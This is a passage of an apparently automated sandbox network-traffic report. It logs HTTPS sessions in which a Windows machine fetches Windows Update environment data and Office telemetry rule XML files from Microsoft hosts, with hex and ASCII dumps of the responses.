EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-24 06:50:48 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-24 06:50:48 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-24 06:50:48 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-24 06:50:48 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-24 06:50:48 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-24 06:50:48 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-24 06:50:48 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49780	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:48 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZsVxVx1LNpAYCGc&MD=nW9gLpL4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-24 06:50:48 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: d22a799c-a12f-409e-95a0-fddba35820c2 MS-RequestId: e09c8f88-cf8b-4e62-a189-4e3f7993c259 MS-CV: JdtGaw4EqEKWESKg.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 24 Oct 2024 06:50:47 GMT Connection: close Content-Length: 30005
2024-10-24 06:50:48 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-24 06:50:48 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49786	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:49 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:49 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: e173b85d-401e-0035-56f2-2482d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065049Z-15b8d89586fmhkw4gksnr1w3ds0000000dz0000000009trb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:49 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49783	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:49 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:49 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: ab85fd93-201e-006e-6bf3-24bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065049Z-r197bdfb6b4kzncf21qcaynxz800000001d000000000k4x5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:49 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49782	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:49 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:49 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 084b2ff6-801e-0067-68fd-24fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065049Z-r197bdfb6b42sc4ddemybqpm140000000ny000000000dqrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:49 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49784	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:49 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:49 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 394abe64-001e-0028-050b-22c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065049Z-16849878b784cpcc2dr9ch74ng00000007eg000000006fmp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:49 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49785	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:49 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:49 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 626c88a9-b01e-003d-54f3-24d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065049Z-15b8d89586fvk4kmwqg9fgbkn800000002ug00000000d8mq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:49 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49788	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:50 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:50 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8d314a1c-701e-0097-3ae5-21b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065050Z-16849878b785g992cz2s9gk35c00000007b0000000009upp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:50 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49789	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
